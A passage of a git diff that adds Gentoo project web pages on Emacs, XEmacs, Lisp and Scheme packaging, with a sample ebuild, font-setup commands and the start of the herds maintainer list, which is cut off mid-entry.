+  construct the default functions
+  (<c>src_unpack</c>, <c>src_compile</c> and friends) for packages in
+  the <path>app-emacs</path> hierarchy of ebuilds.  It pulls in an
+  appropriate version of Emacs (meaning a
+  version of <path>virtual/emacs</path>, controlled
+  by the <uri link="#need_emacs">NEED_EMACS</uri> variable) and
+  is <e>not</e> intended for packages with optional (via USE flag)
+  support for GNU Emacs.</ti>
+</tr>
+</table>
+</body>
+</section>
+
+<section id="eselect">
+<title>Emacs eselect module</title>
+<body>
+<p>
+Having several Emacs versions simultaneously installed on a system,
+needs some caution by maintainers.  Usual pitfalls are file collisions
+and installations of one slot using data from another.  As
+described <uri link="#location">earlier</uri>, the executables are
+suffixed with their corresponding version number.  All data files go
+to similar directories, also distinguished by a version suffix.
+</p>
+<p>
+To be independent of the installed version, the eselect module
+from <path>app-admin/eselect-emacs</path> guarantees
+that <path>/usr/bin/emacs</path> always points to the Emacs you want.
+All ebuilds for the editor check if the symlink is set, and change it
+to the highest available in the case where it does not exist.  If no
+GNU Emacs is found, but XEmacs, all helper programs are symlinked to
+the variants shipped with XEmacs.
+</p>
+<p>
+The module file has some comments about how the code works.  For more
+information how an eselect module is set up, consult the
+<uri link="http://www.gentoo.org/proj/en/eselect/dev-guide.xml">documentation</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Provided virtuals</title>
+<body>
+<p>
+Sometimes the same functionality is available through different
+packages.  To not force a subjective choice the maintainer made,
+virtuals check if one of the alternatives is installed on the user's
+system.
+</p>
+<dl>
+<dt>virtual/editor</dt>
+<dd>Just makes sure you have an editing capability available on your
+  system, Emacs is one choice out of many.</dd>
+<dt>virtual/emacs</dt>
+<dd>This gives you the choice between several version of Emacs.
+  Elisp packages can choose which virtual version is the minimum they
+  need through the elisp.eclass.</dd>
+<dt>virtual/emacs-cedet</dt>
+<dd>The Collection of Emacs Development Environment Tools was
+  traditionally available as a separate package
+  <path>app-emacs/cedet</path>.  It is also shipped with Emacs
+  versions from 23.2 on.</dd>
+<dt>virtual/emacs-flim</dt>
+<dd>There are several libraries that provide encoding functions for
+  other packages.  If they are compatible to
+  <path>app-emacs/flim</path>, they should provide the emacs-flim
+  virtual.</dd> 
+</dl>
+</body>
+</section>
+
+<section>
+<title>Where Emacs team is upstream</title>
+<body>
+<p>
+Not all packages maintained by the Emacs team are developed by people
+from outside the Gentoo project (they are usually called upstream).
+Most of those exceptions are for proper operation of GNU Emacs in the
+Gentoo environment.
+</p>
+<p>
+Sources of these packages are kept in the
+<uri link="http://sources.gentoo.org/viewcvs.py/emacs/">
+Emacs SVN repository</uri>.
+They are released and brought to the Emacs overlay or to the Portage
+tree when they have proven stable.
+</p>
+<table>
+<tr>
+  <th>Package name</th>
+  <th>Purpose</th>
+</tr>
+<tr>
+  <ti><path>app-admin/eselect-emacs</path></ti>
+  <ti>Setting the correct man page locations, Info documentation paths
+  and target for <path>/usr/bin/emacs</path>, see the separate
+  <uri link="#eselect">section</uri>.</ti>
+</tr>
+<tr>
+  <ti><path>app-admin/eselect-ctags</path></ti>
+  <ti>There are several implementations of the ctags binary, all with
+  a different feature set. This eselect module lets you choose the
+  variant you need.</ti>
+</tr>
+<tr>
+  <ti><path>app-admin/emacs-updater</path></ti>
+  <ti>Ships the <path>emacs-updater</path> script, which makes the
+  transition from the old location of the site-init files to the new
+  one.  Another purpose is to byte-compile all installed Emacs
+  support files again, e.g. after a major upgrade of Emacs.</ti>
+</tr>
+<tr>
+  <ti><path>app-emacs/emacs-common-gentoo</path></ti>
+  <ti>Installs common files needed by all GNU Emacs versions. These include
+  <path>subdirs.el</path> and a default <path>site-start.el</path> file.
+  With <c>USE=X</c> also desktop files (which provide file associations
+  for many desktop environments) and icons for Emacs and Emacsclient are
+  installed.</ti>
+</tr>
+<tr>
+  <ti><path>app-emacs/emacs-daemon</path></ti>
+  <ti>Contains the init script to start Emacs as a background service
+  in server mode.  The <path>emacsclient</path> executable then uses
+  this to connect to.</ti>
+</tr>
+<tr>
+  <ti><path>app-emacs/gentoo-syntax</path></ti>
+  <ti>A collection of Emacs major modes that help you edit ebuilds and
+  other Gentoo specific files.  This is developed in cooperation with
+  the XEmacs team, so we share the same source.</ti>
+</tr>
+</table>
+</body>
+</section>
+
+<section>
+<title>A sample ebuild</title>
+<body>
+<p>
+We present an ebuild that introduces the canonical form regarding
+variable ordering in global scope and implementation along an example.
+</p>
+<pre caption="Sample ebuild">
+<comment># Copyright 1999-2009 Gentoo Foundation</comment>
+<comment># Distributed under the terms of the GNU General Public License v2</comment>
+<comment># &#36;Header: &#36;</comment>
+
+<keyword>inherit</keyword> elisp
+
+<ident>DESCRIPTION</ident>=<const>"ReStructuredText support for Emacs"</const>
+<ident>HOMEPAGE</ident>=<const>"http://www.emacswiki.org/cgi-bin/wiki/reStructuredText"</const>
+<ident>SRC_URI</ident>=<const>"mirror://sourceforge/docutils/docutils-<var>${PV}</var>.tar.gz"</const>
+
+<ident>LICENSE</ident>=<const>"GPL-2"</const>
+<ident>SLOT</ident>=<const>"0"</const>
+<ident>KEYWORDS</ident>=<const>"alpha amd64 arm hppa ia64 ppc ppc64 s390 sh sparc ~sparc-fbsd x86 ~x86-fbsd"</const>
+<ident>IUSE</ident>=<const>""</const>
+
+<ident>S</ident>=<const>"<var>${WORKDIR}</var>/docutils-<var>${PV}</var>/tools/editors/emacs"</const>
+<ident>DOCS</ident>=<const>"README.txt"</const>
+<ident>ELISP_PATCHES</ident>=<const>"<var>${P}</var>-lazy-lock-mode-fix.patch"</const>
+<ident>SITEFILE</ident>=<const>"50<var>${PN}</var>-gentoo.el"</const>
+</pre>
+<p>
+The first lines from inherit to IUSE are standard Gentoo ebuild
+variables and thus outside the scope of this text.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+<table>
+<tr>
+  <th>Resource</th>
+  <th>Comment</th>
+</tr>
+<tr>
+  <ti>
+    <e>Various authors</e>; <uri link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml">Gentoo Developer Handbook</uri>
+  </ti>
+  <ti>
+    First steps as Gentoo developer plus an Ebuild HowTo with a good
+    overview.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <e>Various authors</e>;
+    <uri link="http://devmanual.gentoo.org/">Gentoo Development Guide</uri>
+  </ti>
+  <ti>
+    Extensive reference about how development is organised in Gentoo,
+    plus style advises for ebuild authors.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <e> Robert J. Chassell</e>;
+    <uri link="http://www.gnu.org/software/emacs/emacs-lisp-intro/">
+      An Introduction to Programming in Emacs Lisp</uri>;
+    ISBN 1-882114-56-6; GNU Press
+  </ti>
+  <ti>
+    A primer on Elisp programming (very basic, but very good).
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <e>Richard M. Stallman</e>;
+    <uri link="http://www.gnu.org/software/emacs/manual/emacs.html">
+      GNU Emacs Manual</uri>; 16th edition (for version 22);
+    ISBN 1-882114-86-8; GNU Press
+  </ti>
+  <ti>
+    The official handbook of Emacs, also shipped with the editor.
+    This covers the usage of Emacs, not the programming or deep internals.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <e>Various authors</e>;
+    <uri link="http://www.gnu.org/software/emacs/manual/elisp.html">
+      GNU Emacs Lisp Reference Manual</uri>
+  </ti>
+  <ti>
+    All information needed for Elisp programming, dense and extensive,
+    but not for beginners.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <e>Craig A. Finseth</e>;
+    <uri link="http://www.finseth.com/craft/">The Craft of Text Editing:
+    Emacs for the Modern World</uri>; ISBN 0-387-97616-7; Springer-Verlag
+  </ti>
+  <ti>
+    Background information about user interfaces and the ergonomics of
+    text editing.
+  </ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/lisp/emacs/index.xml b/xml/htdocs/proj/en/lisp/emacs/index.xml
new file mode 100644
index 00000000..afcbaef6
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/emacs/index.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>Emacs</name>
+  <longname>Gentoo Emacs/Elisp Project</longname>
+  <date>2009-11-18</date>
+
+  <description>The Gentoo Emacs Project handles (X)Emacs and Elisp related packages in the Gentoo package tree.</description>
+  <longdescription><p>The Gentoo Emacs Project handles Emacs and Elisp
+  related packages in the Gentoo package tree. This includes GNU
+  Emacs, XEmacs  and related editors, manuals and additional packages.
+  </p></longdescription>
+
+  <goals>
+  <p>
+  Our goal is to provide the best Emacs experience around.  Forget any
+  other distribution!
+  </p>
+  </goals>
+
+  <dev role="Developer" description="XEmacs maintainer">graaff</dev>
+  <dev role="Developer" description="Emacs maintainer">fauli</dev>
+  <dev role="Developer" description="Emacs maintainer">ulm</dev>
+  <herd name="emacs" />
+  <herd name="xemacs" />
+
+<extrachapter position="bottom">
+<title>The Emacs Overlay</title>
+<section>
+<body>
+<p>
+  <uri link="http://overlays.gentoo.org/proj/emacs/">The Emacs Overlay</uri>
+  holds packages to be tested separately and provides a playground for
+  both GNU Emacs and XEmacs.
+  The Wiki there also collects some information, mainly intended for
+  the developers themselves, and some of it of temporary nature.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>GNU Emacs documentation</title>
+<section>
+<body>
+<p>
+<uri link="emacs.xml">Our developer information</uri> summarises what
+must be known when maintaining Emacs and its packages in Gentoo.
+Even maintainers of packages with optional Emacs support
+(by <c>USE=emacs</c>) can learn something about the internal goings.
+</p>
+<p>
+<uri link="http://devmanual.gentoo.org/appendices/editor-configuration/emacs/index.html">A devmanual section</uri>
+contains hints how you can configure your Emacs as Gentoo developer.
+</p>
+<p>
+<uri link="xft.xml">Using Emacs XFT support</uri>
+shows you how to enable and use antialiased fonts for Emacs.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>XEmacs documentation</title>
+<section>
+<body>
+<p>
+<uri link="xemacs.xml">Documentation on XEmacs on Gentoo</uri> is available. It contains information for users to explain how Gentoo deals with some aspects of XEmacs, and information and support scripts for Gentoo developers.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Other Emacs implementations</title>
+<section>
+<body>
+<p>
+<uri link="editors.xml">Other Emacs-like editors</uri> are also
+available in Gentoo, in addition to GNU Emacs and XEmacs.
+</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/lisp/emacs/pebuild.gz b/xml/htdocs/proj/en/lisp/emacs/pebuild.gz
new file mode 100644
index 00000000..2b042e24
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/emacs/pebuild.gz
diff --git a/xml/htdocs/proj/en/lisp/emacs/xemacs.xml b/xml/htdocs/proj/en/lisp/emacs/xemacs.xml
new file mode 100644
index 00000000..03eb1239
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/emacs/xemacs.xml
@@ -0,0 +1,151 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/lisp/emacs/xemacs.xml,v 1.4 2008/05/10 09:29:24 graaff Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/lisp/emacs/xemacs.xml">
+<title>XEmacs on Gentoo</title>
+
+<author title="Author">
+	<mail link="graaff@gentoo.org">Hans de Graaff</mail>
+</author>
+
+<abstract>
+This document describes how XEmacs is made available in Gentoo and how
+it differs from a vanilla XEmacs installation.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2008-05-10</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>A Brief Overview</title>
+<body>
+
+<p> 
+<uri link="http://xemacs.org/">XEmacs</uri> is a highly
+customizable open source text editor and application development
+system.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Differences for a Gentoo XEmacs installation</title>
+<section>
+<title>Overview</title>
+<body>
+
+<p>
+Many elisp extensions for XEmacs are distributed as XEmacs
+packages. Some of these packages are needed for proper operation of
+XEmacs, such as the <c>app-xemacs/xemacs-base</c> package. Others are
+XEmacs-specific packages of applications that are also otherwise
+distributed. The packaged versions are known to work with XEmacs and
+may contains XEmacs-specific enhancements. In a normal XEmacs
+installation these packages can be installed using the built-in XEmacs
+package manager. In Gentoo the packages are provided as ebuilds,
+making updating and maintenance easier. An added benefit is that the
+<c>xemacs</c> USE flag can be used to pull in relevant XEmacs
+packages. For example, when emerging <c>ruby</c> with the
+<c>xemacs</c> USE flag you will also emerge the
+<c>app-xemacs/ruby-modes</c> packages, enabling ruby support in
+XEmacs. You can find the list of all packages in the
+<c>app-xemacs/*</c> category.
+</p>
+
+<p>
+You may find it cumbersome to install each XEmacs package
+individually. The upstream solution to that is the distribution of the
+SUMO archive, which contains all packages in a single archive. Gentoo
+takes a different approach. You can emerge
+<c>app-xemacs/xemacs-packages-all</c> to install all the XEmacs
+packages that are also distributed in the SUMO archive. This installs
+all the individual packages. Using the now-obsolete
+<c>app-xemacs/xemacs-packages-sumo</c> is deprecated, and last rites
+will be issued for it shortly. The reason for this particular approach
+is described in <uri>https://bugs.gentoo.org/23949</uri>.
+</p>
+
+<p>
+Gnome and GTK+ support in XEmacs currently only supports GTK 1.2
+and GNOME 1.x. GNOME 1.x is no longer available through portage and
+GTK 1.2 is deprecated and will be removed some time in the future. For
+this reason there are no <c>gnome</c> and <c>gtk</c> USE flags for
+XEmacs.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Future plans</title>
+
+<section>
+<title>XEmacs 21.5</title>
+<body>
+
+<p>
+Upstream development is currently focused on XEmacs 21.5, but this
+version is currently not yet stable enough for release or day-to-day
+use. Unfortunately only the 21.5 versions provide proper support for
+UTF-8, which is becoming more and more a requirement, so we expect to
+add a 21.5 release to the main tree.</p>
+
+<p>
+Until that time experimental XEmacs 21.5 ebuilds are available from
+the official xemacs overlay. You can add this overlay to your system
+using layman.
+</p>
+
+<pre caption="Adding the XEmacs overlay">
+# <i>layman -a xemacs</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Developer information</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+The following information is only relevant to Gentoo developers or
+other people who want to update or create ebuilds related to XEmacs.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Package to ebuild script</title>
+<body>
+
+<p>The app-xemacs/* ebuilds in portage are kept up-to-date with the
+released set of packages using a python script called <uri
+link="pebuild.gz">pebuild</uri> originally written by Mats Lidell.</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
+
+
+
+ 
diff --git a/xml/htdocs/proj/en/lisp/emacs/xft.xml b/xml/htdocs/proj/en/lisp/emacs/xft.xml
new file mode 100644
index 00000000..043326bc
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/emacs/xft.xml
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/lisp/emacs/xft.xml,v 1.11 2009/10/07 13:06:26 ulm Exp $ -->
+
+<guide link="/proj/en/lisp/emacs/xft.xml">
+<title>Using Emacs XFT Support</title>
+
+<author title="Author">
+  <mail link="gentoo-bugs@nexus10.com">Thomas Nichols</mail>
+</author>
+<author title="Author">
+  <mail link="ulm@gentoo.org">Ulrich Müller</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Contributor">
+  <mail link="fauli@gentoo.org">Christian Faulhammer</mail>
+</author>
+
+<abstract>
+This document shows you how to enable and use antialiased (pretty) fonts for
+Emacs.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2009-10-07</date>
+
+<chapter>
+<title>Enabling Antialiased Fonts for Emacs</title>
+<section>
+<title>Installation and setup</title>
+<body>
+
+<note>
+Font anti-aliasing using the Xft library and FreeType fonts is now
+available with the <path>app-editors/emacs-23.1</path> stable ebuild.
+</note>
+
+<p>
+First, set the appropriate USE flags – you <e>must</e> have the
+<c>xft</c> flag.
+</p>
+
+<pre caption="Adding appropriate USE flags">
+# <i>echo "app-editors/emacs xft" >> /etc/portage/package.use</i>
+</pre>
+
+<p>
+Now it's time to install Emacs 23:
+</p>
+
+<pre caption="Emerging emacs-23">
+# <i>emerge -av app-editors/emacs-23.1</i>
+</pre>
+
+<p>
+You can now use XFT fonts in emacs; try emerging
+<c>media-fonts/ttf-bitstream-vera</c> first.
+</p>
+
+<pre caption="Enabling XFT fonts in emacs">
+$ <i>emacs-23 --font 'Bitstream Vera Sans Mono-12'</i>
+</pre>
+
+<p>
+If you're happy with this as your default font, set it in your
+<path>~/.Xresources</path>:
+</p>
+
+<pre caption="Setting the default font for emacs startup">
+$ <i>echo "Emacs.font: Bitstream Vera Sans Mono-12" >> ~/.Xresources</i>
+$ <i>xrdb -merge ~/.Xresources</i>
+</pre>
+
+<p>
+If you experience problems you may want to have a
+stable-but-not-antialiased version of Emacs available as a standby.
+You can use <c>eselect</c> to switch between the various Emacs
+versions installed on your system.
+</p>
+
+<pre caption="eselect for switching emacs versions">
+<comment>(Check available versions)</comment>
+$ <i>eselect emacs list</i>
+Available Emacs symlink targets:
+  [1]   emacs-22 *
+  [2]   emacs-23
+
+XEmacs is also installed
+
+<comment>(Select the correct version)</comment>
+# <i>eselect emacs set emacs-23</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Resources</title>
+<body>
+
+<p>
+For more details on Emacs with XFT pretty fonts, see:
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="http://www.emacswiki.org/cgi-bin/wiki/XftGnuEmacs">XftGnuEmacs</uri>
+    on the Emacs wiki
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/lisp/index.xml b/xml/htdocs/proj/en/lisp/index.xml
new file mode 100644
index 00000000..ac7871c2
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/index.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+
+  <name>Lisp</name>
+  <longname>Gentoo Lisp Project</longname>
+  <date>20i10-04-06</date>
+  <author><mail link="gentoo-lisp@gentoo.org">Lisp team</mail></author>
+
+  <description>The Gentoo Lisp Project handles Lisp related packages in the Gentoo package tree.</description>
+  <longdescription><p>
+  The Gentoo Lisp Project handles Lisp related packages in the Gentoo package tree. This includes Common Lisp and Scheme implementations, applications and libraries and Emacs/Elisp related packages. The project will also maintain Lisp unrelated ebuilds assigned to one of its herds. Join us in our IRC channel, #gentoo-lisp on freenode or <mail link="gentoo-lisp+subscribe@gentoo.org">subscribe</mail> to our mailing list <mail>gentoo-lisp@gentoo.org</mail>.
+  </p></longdescription>
+
+
+  <recruitment>
+    <job>
+	  <summary>Package maintainers</summary>
+	  <details>
+	    Desperately seeking Susan^WErlang.. er, wait. The Scheme, common
+	    lisp herds are understaffed. If you have an interest in helping 
+		them out, please don't hesitate to get in touch.
+	  </details>
+	  <requirements/>
+	  <contact>hkbst</contact>
+	</job>
+  </recruitment>
+
+  <resource link="http://www.defmacro.org/ramblings/lisp.html">The Nature of Lisp</resource>
+  <resource link="http://mitpress.mit.edu/sicp">Structure and Interpretation of Computer Programs</resource>
+
+  <dev role="developer" description="General maintainer">pchrist</dev>
+  <dev role="lead" description="Scheme maintainer">hkBst</dev>
+  <dev role="developer" description="General maintainer">chiiph</dev>
+  <!--  <herd name="lisp" />  -->
+
+  <subproject ref="/proj/en/lisp/common-lisp/index.xml" />
+  <subproject ref="/proj/en/lisp/scheme/index.xml" />
+  <subproject ref="/proj/en/lisp/emacs/index.xml" inheritmembers="yes" />
+
+<!--
+<herd name="common-lisp" />
+<herd name="scheme" />
+<herd name="emacs" />
+<herd name="xemacs" />
+-->
+
+</project>
+
+<!-- Local Variables: -->
+<!-- mode: nxml -->
+<!-- indent-tabs-mode: nil -->
+<!-- fill-column: 80 -->
+<!-- End: -->
+
diff --git a/xml/htdocs/proj/en/lisp/scheme/index.xml b/xml/htdocs/proj/en/lisp/scheme/index.xml
new file mode 100644
index 00000000..339643ca
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/scheme/index.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>Scheme</name>
+  <longname>Gentoo Scheme Project</longname>
+  <date>2010-04-06</date>
+
+  <description>The Gentoo Scheme Project handles Scheme related packages in the Gentoo package tree.</description>
+  <longdescription><p>
+  The Gentoo Scheme Project handles Scheme related packages in the Gentoo package tree. This includes Scheme implementations, applications and libraries.  The project will also maintain Scheme unrelated ebuilds assigned to the scheme herd.
+  </p></longdescription>
+
+  <dev role="lead" description="General maintainer">hkBst</dev>
+  <dev role="developer" description="General maintainer">pchrist</dev>
+  <dev role="developer" description="General maintainer">chiiph</dev>
+  <herd name="scheme" />
+</project>
+
+<!-- Local Variables: -->
+<!-- mode: nxml -->
+<!-- indent-tabs-mode: nil -->
+<!-- fill-column: 80 -->
+<!-- End: -->
+
diff --git a/xml/htdocs/proj/en/metastructure/gentoo.xml b/xml/htdocs/proj/en/metastructure/gentoo.xml
new file mode 100644
index 00000000..bdd3dfc4
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/gentoo.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>gentoo</name>
+	<description>The Gentoo Project</description>
+
+	<longdescription>
+		<p>We produce Gentoo Linux, a special
+		flavor of Linux that can be automatically optimized and
+		customized for just about any application or need.
+		Extreme performance, configurability and a top-notch
+		user and developer community are all hallmarks of the
+		Gentoo experience.</p>
+
+		<p>Thanks to a technology called Portage, Gentoo Linux
+		can become an ideal secure server, development
+		workstation, professional desktop, gaming system,
+		embedded solution or something else -- whatever you need
+		it to be. Because of its near-unlimited adaptability, we
+		call Gentoo Linux a <b>meta</b>distribution.</p>
+	</longdescription>
+	<subproject ref="/proj/en/desktop/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/kernel/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/metastructure/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/hardened/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/devrel/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/gdp/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/releng/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/portage/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/bugday/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/infrastructure/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/base/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/gentoo-alt/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/pr/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/science/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/security/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/qa/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/eselect/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/forums/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/council/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/apache/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/java/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/webapps/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/perl/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/Python/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/php/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/vps/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/userrel/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/lisp/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/prog_lang/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/scire/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/ops/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/kolab/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/virtualization/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/sunrise/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/gse/index.xml" inheritmembers="no"/>
+	<subproject ref="/proj/en/elections/index.xml" inheritmembers="no"/>
+</project>
diff --git a/xml/htdocs/proj/en/metastructure/herds/herds.xml b/xml/htdocs/proj/en/metastructure/herds/herds.xml
new file mode 100644
index 00000000..8cad51ff
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/herds/herds.xml
@@ -0,0 +1,2552 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE herds SYSTEM "http://www.gentoo.org/dtd/herds.dtd">
+<?xml-stylesheet href="/xsl/herds.xsl" type="text/xsl" ?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl" ?>
+<!--
+
+   The herds dtd file is the authoritive source of all herds and their maintainers.
+   Every herd is described in its own <herd> tag. A herd tag consists of a name,
+   possibly an email address, a description and then a number of maintainers. In that order.
+
+   The email subtag of the herds file can be used to specify the contact
+   address for the herd.
+
+   In most cases herds need to have at least one maintainer, preferably
+   more. The necessary information about a maintainer is his/her email
+   address. Further a name tag and description tags are allowed. The
+   name tag is deprecated as the developer database will be used.
+
+   Description tags can have lang attributes, in which case there must be
+   always a description without a lang attribute. Also there are no overlapping
+   descriptions allowed (multiple description tags with the same language)
+
+   $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/metastructure/herds/herds.xml,v 1.755 2010/08/27 23:56:35 radhermit Exp $
+
+-->
+<herds>
+  <herd>
+    <name>afterstep</name>
+    <email>afterstep@gentoo.org</email>
+    <description>Afterstep and related packages</description>
+  <maintainer>
+    <email>voyageur@gentoo.org</email>
+    <name>Bernard Cafarelli</name>
+  </maintainer>
+  </herd>
+  <herd>
+    <name>apache</name>
+    <email>apache-bugs@gentoo.org</email>
+  <description>The Apache web server and supporting packages</description>
+  <maintainer>
+    <email>hollow@gentoo.org</email>
+    <name>Benedikt Böhm</name>
+  </maintainer>
+  <maintainer>
+    <email>arfrever@gentoo.org</email>
+    <name>Benedikt Böhm</name>
+  </maintainer>
+  <maintainer>
+    <email>trapni@gentoo.org</email>
+    <name>Christian Parpart</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>bazaar</name>
+  <email>bazaar@gentoo.org</email>
+  <description>Bazaar distributed version control system and related packages</description>
+  <maintainer>
+    <email>pva@gentoo.org</email>
+    <name>Peter Volkov</name>
+  </maintainer>
+  <maintainer>
+    <email>fauli@gentoo.org</email>
+    <name>Christian Faulhammer</name>
+  </maintainer>
+  <maintainer>
+    <email>serkan@gentoo.org</email>
+    <name>Serkan Kaba</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>bsd</name>
+  <email>bsd@gentoo.org</email>
+  <description>Support for *BSD system packages, and *BSD derived packages.</description>
+  <maintainingproject>/proj/en/gentoo-alt/bsd/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>chromium</name>
+  <email>chromium@gentoo.org</email>
+  <description>Chromium (the open source browser project) and related packages</description>
+  <maintainingproject>/proj/en/desktop/chromium/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>cjk</name>
+  <email>cjk@gentoo.org</email>
+  <description>Chinese/Japanese/Korean support packages</description>
+  <maintainer>
+    <email>matsuu@gentoo.org</email>
+    <name>MATSUU Takuto</name>
+    <role>Japanese Support</role>
+  </maintainer>
+  <maintainer>
+    <email>hattya@gentoo.org</email>
+    <name>Akinori Hattori</name>
+    <role>Japanese Support</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>comm-fax</name>
+  <email>comm-fax@gentoo.org</email>
+  <description>Comm, fax, and related packages</description>
+  <maintainer>
+    <email>nerdboy@gentoo.org</email>
+    <name>Steve Arnold</name>
+  </maintainer>
+  <maintainer>
+    <email>kingtaco@gentoo.org</email>
+    <name>Mike Doty</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>forensics</name>
+  <email>forensics@gentoo.org</email>
+  <description>This will contain all applications that aid the investigation of intrusions and general stuff that would be used by system adminstrators and law enforcement agencies. By the dual purpose nature of the applications some disaster recover mechanism tools may also fall under our maintence</description>
+  <maintainer>
+    <email>dragonheart@gentoo.org</email>
+    <name>Daniel Black</name>
+  </maintainer>
+  <maintainer>
+    <email>patrick@gentoo.org</email>
